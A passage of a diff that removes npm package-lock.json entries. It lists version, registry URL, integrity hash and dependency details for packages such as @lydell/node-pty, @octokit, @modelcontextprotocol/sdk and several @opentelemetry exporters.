"https://github.com/sponsors/dahlia" - ], - "license": "MIT", - "peerDependencies": { - "@logtape/logtape": "^2.0.7" - } - }, - "node_modules/@lydell/node-pty": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty/-/node-pty-1.1.0.tgz", - "integrity": "sha512-VDD8LtlMTOrPKWMXUAcB9+LTktzuunqrMwkYR1DMRBkS6LQrCt+0/Ws1o2rMml/n3guePpS7cxhHF7Nm5K4iMw==", - "license": "MIT", - "optional": true, - "optionalDependencies": { - "@lydell/node-pty-darwin-arm64": "1.1.0", - "@lydell/node-pty-darwin-x64": "1.1.0", - "@lydell/node-pty-linux-arm64": "1.1.0", - "@lydell/node-pty-linux-x64": "1.1.0", - "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0" - } - }, - "node_modules/@lydell/node-pty-darwin-arm64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-darwin-arm64/-/node-pty-darwin-arm64-1.1.0.tgz", - "integrity": "sha512-7kFD+owAA61qmhJCtoMbqj3Uvff3YHDiU+4on5F2vQdcMI3MuwGi7dM6MkFG/yuzpw8LF2xULpL71tOPUfxs0w==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@lydell/node-pty-darwin-x64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-darwin-x64/-/node-pty-darwin-x64-1.1.0.tgz", - "integrity": "sha512-XZdvqj5FjAMjH8bdp0YfaZjur5DrCIDD1VYiE9EkkYVMDQqRUPHYV3U8BVEQVT9hYfjmpr7dNaELF2KyISWSNA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@lydell/node-pty-linux-arm64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-linux-arm64/-/node-pty-linux-arm64-1.1.0.tgz", - "integrity": "sha512-yyDBmalCfHpLiQMT2zyLcqL2Fay4Xy7rIs8GH4dqKLnEviMvPGOK7LADVkKAsbsyXBSISL3Lt1m1MtxhPH6ckg==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@lydell/node-pty-linux-x64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-linux-x64/-/node-pty-linux-x64-1.1.0.tgz", - "integrity": "sha512-NcNqRTD14QT+vXcEuqSSvmWY+0+WUBn2uRE8EN0zKtDpIEr9d+YiFj16Uqds6QfcLCHfZmC+Ls7YzwTaqDnanA==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@lydell/node-pty-win32-arm64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-win32-arm64/-/node-pty-win32-arm64-1.1.0.tgz", - "integrity": "sha512-JOMbCou+0fA7d/m97faIIfIU0jOv8sn2OR7tI45u3AmldKoKoLP8zHY6SAvDDnI3fccO1R2HeR1doVjpS7HM0w==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@lydell/node-pty-win32-x64": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@lydell/node-pty-win32-x64/-/node-pty-win32-x64-1.1.0.tgz", - "integrity": "sha512-3N56BZ+WDFnUMYRtsrr7Ky2mhWGl9xXcyqR6cexfuCqcz9RNWL+KoXRv/nZylY5dYaXkft4JaR1uVu+roiZDAw==", - "cpu": [ - "x64" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@mariozechner/jiti": { - "version": "2.6.5", - "resolved": "https://registry.npmjs.org/@mariozechner/jiti/-/jiti-2.6.5.tgz", - "integrity": "sha512-faGUlTcXka5l7rv0lP3K3vGW/ejRuOS24RR2aSFWREUQqzjgdsuWNo/IiPqL3kWRGt6Ahl2+qcDAwtdeWeuGUw==", - "license": "MIT", - "dependencies": { - "std-env": "^3.10.0", - "yoctocolors": "^2.1.2" - }, - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/@mistralai/mistralai": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", - "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", - "license": "Apache-2.0", - "dependencies": { - "ws": "^8.18.0", - "zod": "^3.25.0 || ^4.0.0", - "zod-to-json-schema": "^3.25.0" - } - }, - "node_modules/@modelcontextprotocol/sdk": { - "version": "1.29.0", - "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.29.0.tgz", - "integrity": "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ==", - "license": "MIT", - "dependencies": { - "@hono/node-server": "^1.19.9", - "ajv": "^8.17.1", - "ajv-formats": "^3.0.1", - "content-type": "^1.0.5", - "cors": "^2.8.5", - "cross-spawn": "^7.0.5", - "eventsource": "^3.0.2", - "eventsource-parser": "^3.0.0", - "express": "^5.2.1", - "express-rate-limit": "^8.2.1", - "hono": "^4.11.4", - "jose": "^6.1.3", - "json-schema-typed": "^8.0.2", - "pkce-challenge": "^5.0.0", - "raw-body": "^3.0.0", - "zod": "^3.25 || ^4.0", - "zod-to-json-schema": "^3.25.1" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@cfworker/json-schema": "^4.1.1", - "zod": "^3.25 || ^4.0" - }, - "peerDependenciesMeta": { - "@cfworker/json-schema": { - "optional": true - }, - "zod": { - "optional": false - } - } - }, - "node_modules/@nodable/entities": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", - "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/nodable" - } - ], - "license": "MIT" - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 8" - } - }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/@octokit/auth-token": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", - "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/core": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.6.tgz", - "integrity": "sha512-DhGl4xMVFGVIyMwswXeyzdL4uXD5OGILGX5N8Y+f6W7LhC1Ze2poSNrkF/fedpVDHEEZ+PHFW0vL14I+mm8K3Q==", - "license": "MIT", - "dependencies": { - "@octokit/auth-token": "^6.0.0", - "@octokit/graphql": "^9.0.3", - "@octokit/request": "^10.0.6", - "@octokit/request-error": "^7.0.2", - "@octokit/types": "^16.0.0", - "before-after-hook": "^4.0.0", - "universal-user-agent": "^7.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/endpoint": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.3.tgz", - "integrity": "sha512-FWFlNxghg4HrXkD3ifYbS/IdL/mDHjh9QcsNyhQjN8dplUoZbejsdpmuqdA76nxj2xoWPs7p8uX2SNr9rYu0Ag==", - "license": "MIT", - "dependencies": { - "@octokit/types": "^16.0.0", - "universal-user-agent": "^7.0.2" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/graphql": { - "version": "9.0.3", - "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.3.tgz", - "integrity": "sha512-grAEuupr/C1rALFnXTv6ZQhFuL1D8G5y8CN04RgrO4FIPMrtm+mcZzFG7dcBm+nq+1ppNixu+Jd78aeJOYxlGA==", - "license": "MIT", - "dependencies": { - "@octokit/request": "^10.0.6", - "@octokit/types": "^16.0.0", - "universal-user-agent": "^7.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/openapi-types": { - "version": "27.0.0", - "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-27.0.0.tgz", - "integrity": "sha512-whrdktVs1h6gtR+09+QsNk2+FO+49j6ga1c55YZudfEG+oKJVvJLQi3zkOm5JjiUXAagWK2tI2kTGKJ2Ys7MGA==", - "license": "MIT" - }, - "node_modules/@octokit/plugin-paginate-rest": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-14.0.0.tgz", - "integrity": "sha512-fNVRE7ufJiAA3XUrha2omTA39M6IXIc6GIZLvlbsm8QOQCYvpq/LkMNGyFlB1d8hTDzsAXa3OKtybdMAYsV/fw==", - "license": "MIT", - "dependencies": { - "@octokit/types": "^16.0.0" - }, - "engines": { - "node": ">= 20" - }, - "peerDependencies": { - "@octokit/core": ">=6" - } - }, - "node_modules/@octokit/plugin-request-log": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", - "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==", - "license": "MIT", - "engines": { - "node": ">= 20" - }, - "peerDependencies": { - "@octokit/core": ">=6" - } - }, - "node_modules/@octokit/plugin-rest-endpoint-methods": { - "version": "17.0.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-17.0.0.tgz", - "integrity": "sha512-B5yCyIlOJFPqUUeiD0cnBJwWJO8lkJs5d8+ze9QDP6SvfiXSz1BF+91+0MeI1d2yxgOhU/O+CvtiZ9jSkHhFAw==", - "license": "MIT", - "dependencies": { - "@octokit/types": "^16.0.0" - }, - "engines": { - "node": ">= 20" - }, - "peerDependencies": { - "@octokit/core": ">=6" - } - }, - "node_modules/@octokit/request": { - "version": "10.0.8", - "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.8.tgz", - "integrity": "sha512-SJZNwY9pur9Agf7l87ywFi14W+Hd9Jg6Ifivsd33+/bGUQIjNujdFiXII2/qSlN2ybqUHfp5xpekMEjIBTjlSw==", - "license": "MIT", - "dependencies": { - "@octokit/endpoint": "^11.0.3", - "@octokit/request-error": "^7.0.2", - "@octokit/types": "^16.0.0", - "fast-content-type-parse": "^3.0.0", - "json-with-bigint": "^3.5.3", - "universal-user-agent": "^7.0.2" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/request-error": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.1.0.tgz", - "integrity": "sha512-KMQIfq5sOPpkQYajXHwnhjCC0slzCNScLHs9JafXc4RAJI+9f+jNDlBNaIMTvazOPLgb4BnlhGJOTbnN0wIjPw==", - "license": "MIT", - "dependencies": { - "@octokit/types": "^16.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/rest": { - "version": "22.0.1", - "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.1.tgz", - "integrity": "sha512-Jzbhzl3CEexhnivb1iQ0KJ7s5vvjMWcmRtq5aUsKmKDrRW6z3r84ngmiFKFvpZjpiU/9/S6ITPFRpn5s/3uQJw==", - "license": "MIT", - "dependencies": { - "@octokit/core": "^7.0.6", - "@octokit/plugin-paginate-rest": "^14.0.0", - "@octokit/plugin-request-log": "^6.0.0", - "@octokit/plugin-rest-endpoint-methods": "^17.0.0" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/@octokit/types": { - "version": "16.0.0", - "resolved": "https://registry.npmjs.org/@octokit/types/-/types-16.0.0.tgz", - "integrity": "sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg==", - "license": "MIT", - "dependencies": { - "@octokit/openapi-types": "^27.0.0" - } - }, - "node_modules/@opentelemetry/api": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", - "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", - "license": "Apache-2.0", - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/@opentelemetry/api-logs": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.211.0.tgz", - "integrity": "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api": "^1.3.0" - }, - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/@opentelemetry/configuration": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/configuration/-/configuration-0.211.0.tgz", - "integrity": "sha512-PNsCkzsYQKyv8wiUIsH+loC4RYyblOaDnVASBtKS22hK55ToWs2UP6IsrcfSWWn54wWTvVe2gnfwz67Pvrxf2Q==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "yaml": "^2.0.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.9.0" - } - }, - "node_modules/@opentelemetry/configuration/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/context-async-hooks": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.5.0.tgz", - "integrity": "sha512-uOXpVX0ZjO7heSVjhheW2XEPrhQAWr2BScDPoZ9UDycl5iuHG+Usyc3AIfG6kZeC1GyLpMInpQ6X5+9n69yOFw==", - "license": "Apache-2.0", - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/core": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.7.0.tgz", - "integrity": "sha512-DT12SXVwV2eoJrGf4nnsvZojxxeQo+LlNAsoYGRRObPWTeN6APiqZ2+nqDCQDvQX40eLi1AePONS0onoASp3yQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-grpc": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.211.0.tgz", - "integrity": "sha512-UhOoWENNqyaAMP/dL1YXLkXt6ZBtovkDDs1p4rxto9YwJX1+wMjwg+Obfyg2kwpcMoaiIFT3KQIcLNW8nNGNfQ==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/sdk-logs": "0.211.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-http": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.211.0.tgz", - "integrity": "sha512-c118Awf1kZirHkqxdcF+rF5qqWwNjJh+BB1CmQvN9AQHC/DUIldy6dIkJn3EKlQnQ3HmuNRKc/nHHt5IusN7mA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/sdk-logs": "0.211.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-proto": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.211.0.tgz", - "integrity": "sha512-kMvfKMtY5vJDXeLnwhrZMEwhZ2PN8sROXmzacFU/Fnl4Z79CMrOaL7OE+5X3SObRYlDUa7zVqaXp9ZetYCxfDQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/api-logs": "0.211.0", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-logs": "0.211.0", - "@opentelemetry/sdk-trace-base": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", - "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.211.0.tgz", - "integrity": "sha512-D/U3G8L4PzZp8ot5hX9wpgbTymgtLZCiwR7heMe4LsbGV4OdctS1nfyvaQHLT6CiGZ6FjKc1Vk9s6kbo9SWLXQ==", - "license": "Apache-2.0", - "dependencies": { - "@grpc/grpc-js": "^1.7.1", - "@opentelemetry/core": "2.5.0", - "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-metrics": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-http": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.211.0.tgz", - "integrity": "sha512-lfHXElPAoDSPpPO59DJdN5FLUnwi1wxluLTWQDayqrSPfWRnluzxRhD+g7rF8wbj1qCz0sdqABl//ug1IZyWvA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-metrics": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/core": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", - "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/resources": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", - "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/semantic-conventions": "^1.29.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.3.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/sdk-metrics": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", - "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/resources": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": ">=1.9.0 <1.10.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { - "version": "0.211.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.211.0.tgz", - "integrity": "sha512-61iNbffEpyZv/abHaz3BQM3zUtA2kVIDBM+0dS9RK68ML0QFLRGYa50xVMn2PYMToyfszEPEgFC3ypGae2z8FA==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/core": "2.5.0", - "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", - "@opentelemetry/otlp-exporter-base": "0.211.0", - "@opentelemetry/otlp-transformer": "0.211.0", - "@opentelemetry/resources": "2.5.0", - "@opentelemetry/sdk-metrics": "2.5.0" - }, - "engines": { - "node": "^18.19.0 || >=20.6.0" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.3.0" - } - }, - "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/core": { - "version": 